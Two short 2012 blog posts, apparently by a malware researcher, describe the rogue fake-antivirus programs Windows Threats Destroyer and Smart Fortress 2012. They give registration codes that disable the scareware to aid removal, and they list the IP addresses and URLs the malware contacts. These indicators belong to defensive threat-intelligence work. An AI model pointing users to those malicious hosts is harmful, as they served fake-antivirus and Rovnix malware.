noreply@blogger.com (Steven K) — Thu, 01 Mar 2012 22:31:00 +0000

Windows Threats Destroyer is a fake Antivirus. This rogue displays fake alerts to scare users. It replaces Windows Firewall Constructor, Windows Stability Guard, Windows Basic Antivirus, Windows PRO Scanner, Windows Shield Tool, Windows Telemetry Center, Windows Performance Catalyst, Windows Smart Partner, Windows Smart Warden, Windows Functionality Checker, Windows Protection Master

This rogue is from the same familly as Tritax, same paker (ASProtect) and same lame shit.
Now they just try to imitate 'Security Master AV' GUI, or maybe based on the same code.. (i've not the sample anymore)

To register (and help removal), copy paste this code: 0W000-000B0-00T00-E0020
'0' can be anything, and '2' can be replaced by '1', '2' or '3'
Sorry, no keygen, no kitten.

Merci siri et Baboon :)

Smart Fortress 2012

noreply@blogger.com (Steven K) — Wed, 29 Feb 2012 10:02:00 +0000

Accortding to S!Ri, Smart Fortress 2012 is a fake anti-spyware tool. It displays fake alert messages, prevent execution of legit programs and detects inexistent infections to scare users.
It is a clone of Smart Protection 2012, Personal Shield Pro.

To register (and help removal), copy paste this code: AA39754E-715219CE

The following urls were found:

http://78.159.105.142/api/stats/install/?&affid=46701&ver=3030002&group=sp
http://95.168.172.86/p/?&aid=test&lid=3030002&affid=46701&nid=9025E786&group=sf
http://95.168.172.86/p/gr/?lid=3030002&group=sf&nid=9025E786&s=3&affid=46701&aid=test

95.168.172.86 was also used by Win32/Rovnix
Here, one again serving FakeAV:

Also on my star-stat.com post, someone have do a weird comment claiming to have the source code of this type of FakeAV.